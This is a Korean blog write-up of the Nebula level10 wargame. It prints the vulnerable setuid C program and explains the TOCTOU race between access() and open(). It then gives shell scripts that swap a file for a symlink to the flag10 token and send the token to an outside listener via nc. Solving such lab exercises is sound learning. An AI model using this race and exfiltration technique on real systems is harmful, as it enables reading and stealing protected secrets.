이 문제 뭐냐 ㅋㅋㅋ5초만에 품…
이 문제의 의도대로 푼 것 같지 않아서 일단 다시 풀어보겠습니다.

 

우선 처음에 홈디렉토리에 x라는 파일이 있길래
cat x 를 해본 결과

 

이런식으로 너무 아무것도 보이지 않아서 cat x | more 명령어를 해봐서 혹시나 적혀있는게 있을까? 생각해서 봤는데

딱.. 뜨네요 그래서 바로 flag10 비번으로 넣었더니 성공…
일단 처음은 이렇게 풀었고 원래 의도대로 다시 풀어보도록 하겠습니다.

  

[참고]소켓 

http://z1tt3n.tistory.com/16
http://z1tt3n.tistory.com/15

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <stdio.h>

#include <fcntl.h>

#include <errno.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <string.h>

 

int main(int argc, char **argv)

{

  char *file;

  char *host;

 

  if(argc < 3) {

    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);

    exit(1);

  }

 

  file = argv[1];

  host = argv[2];

 

  if(access(argv[1], R_OK) == 0) {

    int fd;

    int ffd;

    int rc;

    struct sockaddr_in sin;

    char buffer[4096];

 

    printf("Connecting to %s:18211 .. ", host); fflush(stdout);

 

    fd = socket(AF_INET, SOCK_STREAM, 0);

 

    memset(&sin, 0, sizeof(struct sockaddr_in));

    sin.sin_family = AF_INET;

    sin.sin_addr.s_addr = inet_addr(host);

    sin.sin_port = htons(18211);

 

    if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {

      printf("Unable to connect to host %s\n", host);

      exit(EXIT_FAILURE);

    }

 

#define HITHERE ".oO Oo.\n"

    if(write(fd, HITHERE, strlen(HITHERE)) == -1) {

      printf("Unable to write banner to host %s\n", host);

      exit(EXIT_FAILURE);

    }

#undef HITHERE

 

    printf("Connected!\nSending file .. "); fflush(stdout);

 

    ffd = open(file, O_RDONLY);

    if(ffd == -1) {

      printf("Damn. Unable to open file\n");

      exit(EXIT_FAILURE);

    }

 

    rc = read(ffd, buffer, sizeof(buffer));

    if(rc == -1) {

      printf("Unable to read from file: %s\n", strerror(errno));

      exit(EXIT_FAILURE);

    }

 

    write(fd, buffer, rc);

 

    printf("wrote file!\n");

 

  } else {

    printf("You don't have access to %s\n", file);

  }

} 



 

 

 


vmware로 우분투 켜서 nc –l 18211 로 listen상태로 놓고 했더니 성공!


############################################################################################################ 


다시품..


찾아보니 이 문제는 이 의도가 아니라 race condition 문제이다 
access함수를 사용하여 해당 파일에 대한 접근권한을 체크하고 open함수를 사용한다. 
open함수는 어떠한 파일이 와도 사용할 수 있음(root 파일이여도..r권한만 있으면..)

(위 문제를 예를 들어 설명하자면 access함수를 사용하게 되면 level10계정이 해당 파일을 read할 수 있냐는 의미. 그리고 그 파일을 open해야 함)
그럴 경우 access함수와 open함수 사이에 아주 엄청나게 짧은 시간이지만 취약점이 생긴다.
예를 들어 루트가 open하고자 하는 파일이 만약 해커에 의해 만들어진 심볼릭링크 파일이라면 문제가 발생하게 된다.
이때 심볼릭 링크 파일로 루트 파일을 링크 걸게 될 경우 결국 해커는 루트의 권한으로 조작할 수 있게 된다.


#!/bin/sh
for i in `seq 1000`; do echo "VIDOCQ" >> ~/foo ; done
/home/flag10/flag10 ~/foo 192.168.20.128


#!/bin/sh
rm ~/foo
ln -s /home/flag10/token ~/foo




'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level13]  (1) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30

+ Recent posts